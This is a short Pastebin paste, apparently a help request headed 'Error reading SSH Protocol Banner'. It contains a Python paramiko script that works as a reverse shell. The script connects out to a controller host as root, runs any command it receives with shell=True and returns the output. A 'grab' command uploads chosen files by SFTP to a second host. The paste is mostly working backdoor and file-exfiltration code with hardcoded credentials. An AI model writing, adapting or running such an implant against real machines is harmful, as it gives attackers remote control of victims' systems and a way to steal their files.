Guest User

Untitled

a guest
Apr 27th, 2018
127
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.11 KB | None | 0 0
  1. Error reading SSH Protocol Banner
  2.  
  3. key = paramiko.RSAKey.from_private_key_file('testkey.key')
  4.  
  5.  
  6. def sftp(localpath, name):
  7. try:
  8. transport = paramiko.Transport(('192.168.1.111', 10000))
  9. transport.connect(username='root', password='toor', pkey=key)
  10. sftp = paramiko.SFTPClient.from_transport(transport)
  11. sftp.put(localpath, '/root/uploads/' + name)
  12. sftp.close()
  13. transport.close()
  14. return "<+> Done uploading"
  15.  
  16. except Exception as e:
  17. return str(e)
  18.  
  19.  
  20. client = paramiko.SSHClient()
  21. client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
  22. client.connect('192.168.1.107', username='root', password='toor')
  23. chan = client.get_transport().open_session()
  24. chan.send("Hey man! I'm connected!")
  25. print(chan.recv(1024))
  26.  
  27. while True:
  28. command = chan.recv(1024).decode()
  29. if 'grab' in command:
  30. _, path, name = command.split(' ')
  31. chan.send(sftp(path, name))
  32. else:
  33. try:
  34. CMD = subprocess.check_output(command, shell=True)
  35. chan.send(CMD)
  36. except Exception as e:
  37. chan.send(str(e))
  38.  
  39. client.close()
Add Comment
Please, Sign In to add comment